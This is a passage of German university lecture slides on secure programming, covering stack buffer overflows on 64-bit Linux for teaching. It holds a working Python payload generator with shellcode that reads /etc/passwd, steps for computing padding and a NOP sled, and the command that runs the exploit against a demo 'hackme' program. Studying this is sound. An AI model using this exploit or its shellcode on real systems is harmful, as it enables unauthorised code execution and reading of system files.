Overflows Buffer Overflows 59 / 73 Shellcode Skript un1k0d3r-payload.py (Forts.) shellcode="\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02" + "\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24" + "\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f" + "\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0" + "\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff" + "\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" \ \ \ \ \ print shellcode + "A" * size + address Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 60 / 73 Buffer Overflows Shellcode Skript un1k0d3r-payload.py – Erläuterungen • Das Padding besteht aus einer Folge von As. • Die Länge des Paddings und die Rücksprungadresse wird über die Kommandozeile als Parameter übergeben. • Die Adresse wird als hexadezimaler String übergeben und in das Little Endian Format konvertiert. • Das Ergebnis wird auf der Konsole ausgegeben und kann direkt als Eingabe für andere Programme verwendet werden. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows Buffer Overflows 61 / 73 Shellcode Berechnen der Länge des Paddings • Die Länge des Paddings hängt ab von: ▷ Länge des Shellcodes ▷ Größe des zu überflutenden Buffers ▷ Anzahl und Position der lokalen Variablen im aktuellen Stack Frame • Oft kann man die exakte Länge des Paddings nicht berechnen, da die benötigten Informationen nicht bekannt sind. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 62 / 73 Buffer Overflows Shellcode Beispiel: Berechnung des Paddings für hackme • Im 64-Bit Linux bestehen die Speicheradressen eines Prozesses aus 6 Byte. • Unter Einsatz des GDB und des printA Skripts wird die Länge des Strings ermittelt, der die gespeicherte Rücksprungadresse im Stack Frame überschreibt. Die Länge ist 222 Byte. • Die Länge des Paddings wird wie folgt berechnet: Padding = 222 − Länge Shellcode − Länge Adresse = 222 − 82 − 6 = 134 • Da die Adresse von buffer von der Länge des übergebenen Strings abhängt, muss das Skript entsprechend angepasst werden. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows Buffer Overflows 63 / 73 Shellcode Bemerkungen zu un1k0d3r-payload.py • Um den Shellcode erfolgreich auszuführen, müssen die Größe des Paddings und die Rücksprungadresse aufeinander abgestimmt werden. • Enthält die Rücksprungadresse ein oder mehrere Null-Bytes, dann ist der Shellcode nicht funktionsfähig. • Anpassung des Python Skripts: ▷ Einsatz eines NOP-Sleds (Folge von NOP Befehlen) zur flexibleren Wahl der Rücksprungadresse ▷ Padding durch wiederholtes Schreiben der Rücksprungadresse Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 64 / 73 Buffer Overflows Shellcode Aufbau des erzeugten Datenblocks Der erweiterte Shellcode hat folgenden Aufbau: NOP-Sled Shell Code Adresse Adresse Bemerkung: Die Adresse liegt irgendwo“ im NOP-Sled. ” Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows Buffer Overflows 65 / 73 Shellcode Anpassung des Skripts un1k0d3r-payload.py • Die Rücksprungadresse wird über die Kommandozeile festgelegt. • Dem Shellcode wird eine Folge von NOPs vorangestellt, deren Länge über die Kommandozeile angegeben wird. • Die Länge des NOP Sleds wird bei der Berechnung des Paddings berücksichtigt. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 66 / 73 Buffer Overflows Shellcode Skript un1k0d3r-payload-v2.py #! /usr/bin/ python2 import sys if len(sys.argv)==4: address=sys.argv [1]. decode("hex") address=address [:: -1] padding_size = int(sys.argv [2]) nop_size = int (sys.argv [3]) else: print "Usage:", sys.argv [0], "address␣padding_size␣nop_size" sys.exit (1) shellcode="\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02" + "\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24" + "\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f" + "\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0" + "\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff" + "\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" \ \ \ \ \ print "\x90" * nop_size + shellcode + "A" * (padding_size -nop_size) \ + address Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows Buffer Overflows 67 / 73 Shellcode Ausführen des Exploits Annahmen: • Länge des Paddings: 134 Byte • Adresse von buffer: 7fffffffdd00 Befehl: > ./ hackme $(./ un1k0d3r -payload -v2.py 7fffffffdd01 134 1) Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 68 / 73 Zusammenfassung Zusammenfassung • Durch fehlerhafte Programmierung entstehen Schwachstellen in C-Programmen. • Ein Klassiker“ ist die inkorrekte Nutzung von strcpy, um ” Strings zu kopieren. • Über eine derartige Schwachstelle kann ein Buffer Overflow ausgeführt werden, um Schadkode auszuführen. • Moderne Betriebssysteme verfügen über zahlreiche Schutzmechanismen gegen Buffer Overflows wie z.B. ASLR. Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 69 / 73 Literatur Literatur I [Cha16] Ryan A. Chapman. Linux System Call Table for x86_64. 2016. url: http://blog.rchapman.org/post/36801038863/linuxsystem-call-table-for-x86-64 (besucht am 18. 08. 2016). [GDB13] GDB Developers, Hrsg. GDB: The GNU Debugger. GNU’s Not Unix. 26. Nov. 2013. url: https://www.gnu.org/software/gdb/documentation (besucht am 22. 08. 2016). [Hai13] Marc Haisenko. GDB Cheatsheet. 2013. url: http://darkdust.net/files/GDB%20Cheat%20Sheet.pdf (besucht am 18. 08. 2016). Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 70 / 73 Literatur Literatur II [Hub+13] Jan Hubička u. a. System V Application Binary Interface. AMD64 Architecture Processor Supplement. Intel. 17. Juni 2013. url: https://software.intel.com/sites/ default/files/article/402129/mpx-linux64-abi.pdf (besucht am 18. 08. 2016). [Int16] Intel, Hrsg. Intel 64 and IA-32 Architectures Software Developer Manuals. 2016. url: http://www.intel.com/content/www/us/en/processors/ architectures-software-developer-manuals.html (besucht am 22. 08. 2016). [Nar07] Ram Narayan. Linux assemblers: A comparison of GAS and NASM. IBM. 17. Okt. 2007. url: http: //www.ibm.com/developerworks/library/l-gas-nasm (besucht am 22. 08. 2016). Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 71 / 73 Literatur Literatur III [One96] Aleph One. Smashing The Stack For Fun And Profit. Phrack.org. 1996. url: http://phrack.org/issues/49/14.html#article (besucht am 22. 11. 2016). [San97a] Santa Cruz Operation, Hrsg. System V Application Binary Interface. 18. März 1997. url: http://www.sco.com/developers/devspecs/gabi41.pdf (besucht am 18. 08. 2016). [San97b] Santa Cruz Operation, Hrsg. System V Application Binary Interface Intel836 Architecture Processor Supplement. 19. März 1997. url: http: //www.sco.com/developers/devspecs/abi386-4.pdf (besucht am 18. 08. 2016). Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 72 / 73 Literatur Literatur IV [SPS10] Richard Stallman, Roland Pesch und Stan Shebs. Debugging with GDB. 2010. url: http: //sourceware.org/gdb/current/onlinedocs/gdb.pdf.gz (besucht am 22. 08. 2016). [Un114] Mr. Un1K0d3r. 64 Bits Linux Stack Based Buffer Overflow. RingZer0 Team. 2014. url: https://www.exploit-db.com/docs/33698.pdf (besucht am 22. 11. 2016). Prof. Dr. C. Karg (HS Aalen) Sichere Programmierung Buffer Overflows 73 / 73